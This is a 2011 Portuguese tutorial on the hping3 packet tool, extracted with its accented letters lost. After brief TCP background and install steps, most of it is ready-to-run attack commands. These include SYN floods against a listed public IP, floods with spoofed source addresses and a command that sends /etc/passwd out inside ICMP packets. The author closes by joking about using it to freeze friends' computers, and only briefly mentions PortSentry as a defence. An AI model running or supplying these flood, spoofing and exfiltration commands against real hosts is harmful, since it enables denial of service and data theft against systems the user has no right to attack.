Você está na página 1de 5

Utilizando hping

Autor: Marcos Carraro <marcos.g.carraro at gmail.com>


Data: 09/08/2011

Introduo
O hping um software poderoso quando se fala de ataque de negao de servio e para
tanto preciso conhecer a relao cliente/servidor. As mensagens servidor/cliente so
trocadas em 3 vias.
O cliente envia uma requisio de conexo: pacote com flag syn com um determinado
nmero de sequncia x. O servidor recebe o pacote e responde com uma mensagem de
reconhecimento: flag syn-ack com um nmero de sequncia x+1 e y. O cliente
reconhece o pacote syn-ack com y+1 e a conexo est estabelecida.
Aqui podemos ver um exemplo de estabilizao de uma determinada comunicao.

Para complementar, a conexo fechada quando o cliente ou servidor envia um pacote


com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um
ataque do tipo Syn-flood ou enxurrada de pacotes utilizado para desestabilizar ou
derrubar recursos computacionais e podem acontecer em vrios nveis do protocolo
TCP.
O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas
SYN para a vtima, de tal maneira que a mesma no consiga responder a todos as
requisies. Com um grande nmero de pacotes SYN apilha de memria sofre um
estouro e todas as requisies so desprezadas.
Fazendo de todas estas informaes a utilizao para testes, em nossa rede, servidores,
ou para testar alguns "servidores pblicos", IDS, entre outras.

Instalao
Para a demonstrao do uso do hping3 utilizei Fedora 15.
Para fazer a instalao em sistemas baseados em RedHat tais como CentOS, Fedora.
# yum install hping3
ou:
# wget ftp://ftp.univie.ac.at/systems/linux/fedora/epel/5/i386/hping3-0.0.200511057.el5.i386.rpm
# yum localinstall *.rpm
Baseadas em Debian e Ubuntu:
# wget http://ftp.debian.org/debian/pool/main/h/hping3/hping3_3.a2.ds2-6_i386.deb
# dpkg -iv *.deb
Baseadas em Slackware:
# wget http://www.hping.org/hping3-20051105.tar.gz

Parmetros de utilizao
Auxiliadores para port-scan:
-F --fin set FIN flag
-S --syn set SYN flag

-R --rst set RST flag

-P --push set PUSH flag

-A --ack set ACK flag

-U --urg set URG flag

-e assinatura

-a meu IP

-p porta

-I interface de rede utilizada, ex.: hping -I eth1 ......-p ++22 - Comea uma
contagem a partir da porta de destino 22 vai em ordem crescente 22 23 24 25

-s porta de origem, por padro ele comea aleatrio

-M definir o nmero de sequncia TCP

-SA Uma maneira de ficar transparente

-i intervalo de tempo (caso o alvo tenha um IDs ou iptables com mdulo recent)

-i 10 (10 segundos)

-i u10 (10 micro segundos)

-c --count esta opo permite especificar o nmero de pacotes que queremos


enviar

--fast alias de tempo para indicar -i u10000. Para enviar 10 pacotes por segundo

--faster alias de tempo para indicar -i u1.

-n --numeric trata a sada de dados unicamente nmeros, no h resoluo de


nomes

-w --win Tamanho do pacotes por padro 64bits

Para uma mais informaes:


hping3(8) - Linux man page
Home -- hping network security tool

hping security tool - man page

Exemplos
Exemplos bsicos
Floodar com 10mil syn um ip na porta 80:
# hping3 --flood --syn -c 10000 -a 1.2.3.4 -p 80 200.157.25.8
DoS - O ataque DoS, tem a ideia de fazer com que a placa de rede, ip, banda, no
consiga respirar, fazendo disso uma parada dos servios, ela simplesmente no consegue
mais
responder.
# hping3 --flood 200.157.25.8
DoS com outra TTL - Podemos mudar os nossos "HOPS" para chegar em nosso destino
como neste caso, e fazemos uma inundao de 100 pacotes com ttl 250 para o IP,
podemos usar outras tantas combinaes de uma linha.
# hping --flood --ttl 250 --count 100 192.168.0.1
Spoof com um falso IP - Esta parte legal at, podemos mandar milhares de pacotes
com outro IP, no cheguei a testar em um FW pblico.
# hping --spoof 1.2.3.4 192.168.0.1

(hping --spoof FALSOIP IPQUENTE)


DoS com spoofing - Que tal fazer um DoS e IP spoofing ao mesmo tempo? Colocamos
um IP falso para que o "destino" no desconfie EHEHEHEH. Isso ate legal de se
fazer, com testes interno funciona perfeitamente.
# hping --flood --spoof 8.8.8.8 --ttl 66 192.168.0.2

Spoof Louco - HAHHA que tal mandar vrias inundaes loucamente para um IP?
# hping3 --spoof 192.168.0.2 --icmp-ts 192.168.0.1
(hping3 --spoof MEUIP --icmp-ts IPDESTINO)

Exemplos mais complexos


Flood com assinatura - No caso ele vai enviar alguns pacotes com esta rotulao
podendo ser um arquivo ou simplesmente na escrita, como vemos nos exemplos.
# hping3 --flood --syn -a 1.2.3.4 -e "TESTANDO" -S -s 80 192.168.0.1
Monitorando com tcpdump:
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
0x0050:

45c0
ac10
e171
0a28
5445
0000

006a
01d1
0000
0007
0a00
0000

9f79
0303
4011
003a
0000
0000

0000
590b
3d6b
0902
0000
0000

4001
0000
ac10
5445
0000
0000

7e97
0000
01d1
5354
0000
0000

ac10
4500
ac10
4554
0000
0000

01d1
004e
01d1
4553
0000
0000

E..j.y..@.~.....
......Y.....E..N
.q..@.=k........
.(...:..TESTETES
TE..............
................

Criando arquivo de assinatura:


# echo "TESTETESTE" > /vat/tmp/assinatura.sig
Enviando o ataque:
# hping -2 -p 7 192.168.0.3 -d 50 -E /var/tmp/assinatura.sig
Para monitorar:
# tcpdump -i ethX -nX proto 17
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
0x0050:

45c0
ac10
e171
0a28
5445
0000

006a
01d1
0000
0007
0a00
0000

9f79
0303
4011
003a
0000
0000

0000
590b
3d6b
0902
0000
0000

4001
0000
ac10
5445
0000
0000

7e97
0000
01d1
5354
0000
0000

ac10
4500
ac10
4554
0000
0000

01d1
004e
01d1
4553
0000
0000

E..j.y..@.~.....
......Y.....E..N
.q..@.=k........
.(...:..TESTETES
TE..............
................

Transferir informaes pelo ICMP - Que parte louca, sim quando esta lendo alguns
manuais na internet achei engraado esta parte:

# hping 192.168.0.3 --icmp -d 100 --sign signature --file /etc/passwd


Monitorando:
# tcpdump -i ethX -nX
A sada bem parecida.

Finalizando
Leitura recomendada:
Iptables protege contra SYN FLOOD? [Artigo]
Para amenizar o uso de port-scan a melhor opo utlizar o PortSentry:
PortSentry: Melhorando a segurana do seu Linux [Artigo]
Uma dica a quem utilizar portsentry firewall e proxy tudo em um nico servidor, edite o
arquivo da crontab em que o portsentry executado.
# vim /etc/cron.d/portsentry
Neste arquivo ele reinicia o servio do iptables, isto ira fazer com que sua rede pare,
ento vai ficar aquele cenrio sobe e desce, remova a opo de reiniciar o iptables e
deixe somente de reiniciar o servio do portsentry caso deseja reiniciar o iptables
adicione o seu arquivo de firewall na linha.
Visto desta poderosa ferramenta, o mais legal brincar com seus amigos, na rede eles
iro ficar procurando o que pode ser que esta ocasionando o travamento do micro
HEHEHHEHE.
Um forte abrao, Marcos Carraro
No blog voc encontra mais informaes sobre Linux: marcoscarraro.blogspot.com